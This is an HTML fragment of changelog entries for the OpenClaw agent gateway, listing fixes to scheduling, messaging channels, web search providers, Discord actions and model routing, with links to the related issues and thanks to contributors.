<li>Heartbeat/scheduler: make heartbeat phase scheduling active-hours-aware so the scheduler seeks forward to the first in-window phase slot instead of arming timers for quiet-hours slots and relying solely on the runtime guard. Non-UTC <code>activeHours.timezone</code> values (e.g. <code>Asia/Shanghai</code>) now correctly influence when the next heartbeat timer fires, avoiding wasted quiet-hours ticks and long dormant gaps after gateway restarts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363246759" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75487/hovercard" href="https://github.com/openclaw/openclaw/issues/75487">#75487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Channels: strip plain-text MiniMax and XML tool-call scaffolding from shared user-facing reply sanitization, so messaging channels do not deliver raw model tool syntax when a provider emits it as text instead of structured tool calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221535812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62820/hovercard" href="https://github.com/openclaw/openclaw/issues/62820">#62820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</li>
<li>Infer/media: report missing image-understanding and audio-transcription provider configuration for <code>image describe</code>, <code>image describe-many</code>, and <code>audio transcribe</code> instead of blaming the input path when no provider is available. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343347839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73569" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73569/hovercard" href="https://github.com/openclaw/openclaw/issues/73569">#73569</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343748623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73593/hovercard" href="https://github.com/openclaw/openclaw/pull/73593">#73593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349938490" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74288/hovercard" href="https://github.com/openclaw/openclaw/pull/74288">#74288</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352412851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74495/hovercard" href="https://github.com/openclaw/openclaw/pull/74495">#74495</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tmimmanuel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tmimmanuel">@tmimmanuel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>CLI/infer: reject local <code>codex/*</code> one-shot model probes before simple-completion dispatch and point operators at the Codex app-server runtime path instead of ending with an empty-output error.</li>
<li>Docs/health: clarify that session listing surfaces stored conversation rows rather than Discord/channel socket liveness, and point connectivity checks at channel status and health probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312712740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70420/hovercard" href="https://github.com/openclaw/openclaw/issues/70420">#70420</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashersoutherncities-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashersoutherncities-art">@ashersoutherncities-art</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>WhatsApp/Cron: keep DM pairing-store approvals out of implicit cron and heartbeat recipient fallback, so scheduled automation only uses explicit targets, active configured recipients, or configured <code>allowFrom</code> entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4215965103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62339/hovercard" href="https://github.com/openclaw/openclaw/issues/62339">#62339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kelvinisly-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kelvinisly-collab">@kelvinisly-collab</a>.</li>
<li>Google Meet: keep the agent-facing <code>google_meet</code> tool visible on non-macOS hosts but block local Chrome realtime actions with guidance, so Linux agents can still use transcribe, Twilio, chrome-node, and artifact flows without choosing the macOS-only BlackHole path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367913692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75950/hovercard" href="https://github.com/openclaw/openclaw/issues/75950">#75950</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/actual-software-inc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/actual-software-inc">@actual-software-inc</a>.</li>
<li>macOS/settings: keep opening General from rewriting <code>openclaw.json</code> during Tailscale settings hydration, preserving <code>gateway</code>, <code>auth</code>, <code>meta</code>, and <code>wizard</code> until the user changes a setting. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192663996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59545" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59545/hovercard" href="https://github.com/openclaw/openclaw/issues/59545">#59545</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tengdw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tengdw">@Tengdw</a>.</li>
<li>Discord: prioritize interaction callbacks ahead of stale background REST work without polling active REST buckets, validate oversized gateway payloads and member-intent requests before send, and forward explicit component payloads from message actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362439940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75363" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75363/hovercard" href="https://github.com/openclaw/openclaw/pull/75363">#75363</a>)</li>
<li>Active Memory: use the configured recall timeout as the blocking prompt-build hook budget by default and move cold-start setup grace behind explicit <code>setupGraceTimeoutMs</code> config, so the plugin no longer silently extends 15000 ms configs to 45000 ms on the main lane. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367042978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75843" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75843/hovercard" href="https://github.com/openclaw/openclaw/issues/75843">#75843</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</li>
<li>Plugins/web-provider: reuse the active gateway plugin registry for runtime web provider resolution after deriving the same candidate plugin ids as the loader path, avoiding a redundant <code>loadOpenClawPlugins</code> call on every request while preserving origin and scope filters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363428779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75513/hovercard" href="https://github.com/openclaw/openclaw/issues/75513">#75513</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jochen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jochen">@jochen</a>.</li>
<li>Crestodian/CLI: exit non-zero when interactive Crestodian is invoked without a TTY, so scripts and CI no longer treat the setup error as success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344381793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73646/hovercard" href="https://github.com/openclaw/openclaw/issues/73646">#73646</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347317157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73928" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73928/hovercard" href="https://github.com/openclaw/openclaw/pull/73928">#73928</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347801211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74059/hovercard" href="https://github.com/openclaw/openclaw/pull/74059">#74059</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</li>
<li>Cron: keep implicit/default isolated cron announce deliveries out of the main session awareness queue, so isolated jobs do not accumulate in the main conversation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208027555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61426/hovercard" href="https://github.com/openclaw/openclaw/issues/61426">#61426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lihannon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lihannon">@Lihannon</a>.</li>
<li>Subagents: avoid duplicate parent-visible replies when a parent uses <code>sessions_send</code> on its own persistent native subagent session, while preserving announce delivery for async sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342979045" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73550/hovercard" href="https://github.com/openclaw/openclaw/issues/73550">#73550</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sylviazhang2006-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sylviazhang2006-design">@sylviazhang2006-design</a>.</li>
<li>Web search/Brave: add opt-in <code>brave.http</code> diagnostics for Brave request URLs/query params, response status/timing, and cache hit/miss/write events without logging API keys or response bodies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144203570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55196/hovercard" href="https://github.com/openclaw/openclaw/issues/55196">#55196</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mecampbellsoup/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mecampbellsoup">@mecampbellsoup</a>.</li>
<li>Web search/Brave: add <code>plugins.entries.brave.config.webSearch.baseUrl</code> for Brave-compatible proxies, including endpoint-aware cache keys for both web and LLM Context modes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3951923414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19075" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/19075/hovercard" href="https://github.com/openclaw/openclaw/issues/19075">#19075</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkoprax/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkoprax">@jkoprax</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishnukool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishnukool">@vishnukool</a>.</li>
<li>Web search/config: validate explicit <code>tools.web.search.provider</code> values against bundled and installed plugin manifests, while warning for stale third-party plugin config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123070790" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53092/hovercard" href="https://github.com/openclaw/openclaw/issues/53092">#53092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</li>
<li>Web search/SearXNG: retry empty non-general category searches once with the general category, so unsupported category engines do not return empty results when general search has matches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343014523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73552/hovercard" href="https://github.com/openclaw/openclaw/issues/73552">#73552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loukky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loukky">@Loukky</a>.</li>
<li>CLI/message: skip gateway-stop hooks for read-only <code>message read</code> and bound stop-hook shutdown for other message actions, so one-shot Discord reads cannot hang behind plugin lifecycle cleanup.</li>
<li>Plugins/web-provider: cache repeated bundled web search and web fetch provider registry loads by default while preserving explicit cache opt-outs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368302945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75992/hovercard" href="https://github.com/openclaw/openclaw/pull/75992">#75992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</li>
<li>Agents/sandbox: preserve existing workspace file modes when sandbox edits atomically replace files, so 0644 files do not collapse to 0600 after Write/Edit/apply_patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4064748597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44077/hovercard" href="https://github.com/openclaw/openclaw/issues/44077">#44077</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/patosullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/patosullivan">@patosullivan</a>.</li>
<li>Control UI/WebChat: route typed <code>/new</code> through the New Chat dashboard-session creation flow instead of <code>chat.send</code>, while keeping <code>/reset</code> as the explicit current-session reset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4300356598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69599" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69599/hovercard" href="https://github.com/openclaw/openclaw/issues/69599">#69599</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</li>
<li>Agents/models: keep legacy CLI runtime model refs such as <code>claude-cli/*</code> in the configured allowlist after canonical runtime migration, so cron <code>payload.model</code> overrides keep working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365669096" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75753/hovercard" href="https://github.com/openclaw/openclaw/issues/75753">#75753</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyanSandoval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyanSandoval">@RyanSandoval</a>.</li>
<li>Codex/app-server: restart the shared Codex app-server client once when it closes during startup thread resume, preserving the existing thread binding instead of retrying <code>thread/start</code> on a closed client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/watch: keep colored subsystem log prefixes in the managed tmux pane even when the parent shell exports <code>NO_COLOR</code>, while preserving explicit <code>FORCE_COLOR=0</code> opt-out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/compaction: submit a non-empty runtime-event marker for pre-compaction memory flush turns, so strict Anthropic providers no longer reject the silent flush as an empty user message. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361911066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75305/hovercard" href="https://github.com/openclaw/openclaw/issues/75305">#75305</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sableassistant3777-source/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sableassistant3777-source">@sableassistant3777-source</a>.</li>
<li>Plugin SDK: re-export <code>isPrivateIpAddress</code> from <code>plugin-sdk/ssrf-runtime</code>, restoring source-checkout builds for SearXNG and Firecrawl private-network guards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Discord/message actions: advertise <code>upload-file</code> and route it through Discord's send runtime with agent-scoped media reads, so agents can discover and send file attachments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203171087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60652/hovercard" href="https://github.com/openclaw/openclaw/issues/60652">#60652</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204560464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60808" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60808/hovercard" href="https://github.com/openclaw/openclaw/pull/60808">#60808</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206054244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61087" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61087/hovercard" href="https://github.com/openclaw/openclaw/pull/61087">#61087</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206088150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61100/hovercard" href="https://github.com/openclaw/openclaw/pull/61100">#61100</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claw-io/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claw-io">@claw-io</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjhddh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjhddh">@sjhddh</a>.</li>
<li>Sessions: suppress exact inter-session control replies such as <code>NO_REPLY</code> and keep agent-to-agent announce bookkeeping out of visible transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123622416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53145" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53145/hovercard" href="https://github.com/openclaw/openclaw/issues/53145">#53145</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TarahAssistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TarahAssistant">@TarahAssistant</a>.</li>
<li>CLI/directory: report unsupported directory operations for installed channel plugins instead of prompting to reinstall the plugin when it lacks a directory adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365917479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75770" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75770/hovercard" href="https://github.com/openclaw/openclaw/issues/75770">#75770</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lawong888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lawong888">@lawong888</a>.</li>
<li>Web search/SearXNG/Firecrawl/Kimi: show the SearXNG JSON API <code>search.formats</code> prerequisite, pass through <code>img_src</code> image URLs, fail explicitly when Kimi returns ungrounded answers, keep public provider requests on strict SSRF guards, reject private/loopback/metadata/non-HTTP(S) hosted Firecrawl scrape targets, and allow explicit self-hosted private Firecrawl endpoints. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117727594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52573/hovercard" href="https://github.com/openclaw/openclaw/issues/52573">#52573</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350921258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74357/hovercard" href="https://github.com/openclaw/openclaw/issues/74357">#74357</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4234128169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63877/hovercard" href="https://github.com/openclaw/openclaw/issues/63877">#63877</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250289649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65592" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65592/hovercard" href="https://github.com/openclaw/openclaw/pull/65592">#65592</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207995751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61416" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61416/hovercard" href="https://github.com/openclaw/openclaw/pull/61416">#61416</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350976183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74360/hovercard" href="https://github.com/openclaw/openclaw/pull/74360">#74360</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081587848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48133/hovercard" href="https://github.com/openclaw/openclaw/pull/48133">#48133</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4194271236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59666" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59666/hovercard" href="https://github.com/openclaw/openclaw/pull/59666">#59666</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235261313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63941" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63941/hovercard" href="https://github.com/openclaw/openclaw/pull/63941">#63941</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347547141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74013" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74013/hovercard" href="https://github.com/openclaw/openclaw/pull/74013">#74013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evanpaul14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evanpaul14">@evanpaul14</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sghael/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sghael">@sghael</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangwllu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangwllu">@wangwllu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kn1ghtc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kn1ghtc">@kn1ghtc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhthompson12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhthompson12">@jhthompson12</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jzakirov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jzakirov">@jzakirov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mlightsnow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mlightsnow">@Mlightsnow</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shad0wca7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shad0wca7">@shad0wca7</a>.</li>
<li>CLI/models: report gateway model fallback attempts in <code>infer model run --json</code> and avoid double-prefixing provider-qualified defaults such as <code>openrouter/auto</code> in <code>models status</code>. Partially fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299726655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69527" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69527/hovercard" href="https://github.com/openclaw/openclaw/issues/69527">#69527</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexifra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexifra">@alexifra</a>.</li>
<li>Providers/OpenRouter: strip trailing assistant prefill turns from verified OpenRouter Anthropic model requests when reasoning is enabled, so Claude 4.6 routes no longer fail with Anthropic's prefill rejection through the OpenAI-compatible adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362626247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75395/hovercard" href="https://github.com/openclaw/openclaw/issues/75395">#75395</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sbmilburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sbmilburn">@sbmilburn</a>.</li>
